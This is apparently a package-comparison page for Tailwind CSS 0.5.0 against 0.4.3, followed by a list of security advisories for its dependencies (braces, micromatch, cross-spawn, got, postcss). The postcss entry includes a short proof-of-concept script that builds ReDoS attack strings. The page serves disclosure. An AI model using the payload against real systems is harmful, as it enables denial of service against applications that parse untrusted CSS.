Tailwind CSS version 0.5.0 introduces key enhancements over its predecessor, version 0.4.3, offering developers a more refined and powerful utility-first CSS framework. One notable difference lies in the dependencies. Version 0.5.0 adds postcss-js, a valuable tool for manipulating CSS with JavaScript, and postcss-nested, which simplifies CSS authoring with nested rules. It also add postcss-selector-parser, very useful dependency that allows you to traverse and manipulate CSS selectors. These additions enhance developer workflow and provide more flexibility in styling.
While both versions share many development dependencies crucial for testing, linting, and code formatting, the core development experience in 0.5.0 benefits from these updated and refined tools. The distribution size also sees a slight increase from 1,513,714 to 1,520,330 unpacked, and from 99 to 106 files, reflecting the expanded feature set.
For developers choosing between the two, version 0.5.0 presents compelling advantages. The inclusion of postcss-js and postcss-nested can lead to cleaner, more maintainable CSS and more efficient workflows, especially for complex projects. The updated toolchain provides a better debugging and development experience ensuring a smoother implementation of Tailwind CSS in modern projects. The newer release date (2018-03-13) compared to 0.4.3 (2018-03-05) indicates a more recent set of features, bug fixes, and optimizations, which is always desirable when selecting a dependency for your projects.
All the vulnerabilities related to the version 0.5.0 of the package
Uncontrolled resource consumption in braces
The NPM package braces fails to limit the number of characters it can handle, which could lead to Memory Exhaustion. In lib/parse.js, if a malicious user sends "imbalanced braces" as input, the parsing will enter a loop, which will cause the program to start allocating heap memory without freeing it at any moment of the loop. Eventually, the JavaScript heap limit is reached, and the program will crash.
Regular Expression Denial of Service (ReDoS) in micromatch
The NPM package micromatch prior to version 4.0.8 is vulnerable to Regular Expression Denial of Service (ReDoS). The vulnerability occurs in micromatch.braces() in index.js because the pattern .* will greedily match anything. By passing a malicious payload, the pattern matching will keep backtracking to the input while it doesn't find the closing bracket. As the input size increases, the consumption time will also increase until it causes the application to hang or slow down. There was a merged fix but further testing shows the issue persisted prior to https://github.com/micromatch/micromatch/pull/266. This issue should be mitigated by using a safe pattern that won't start backtracking the regular expression due to greedy matching.
Regular Expression Denial of Service (ReDoS) in cross-spawn
Versions of the package cross-spawn before 7.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.
Got allows a redirect to a UNIX socket
The got package before 11.8.5 and 12.1.0 for Node.js allows a redirect to a UNIX socket.
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.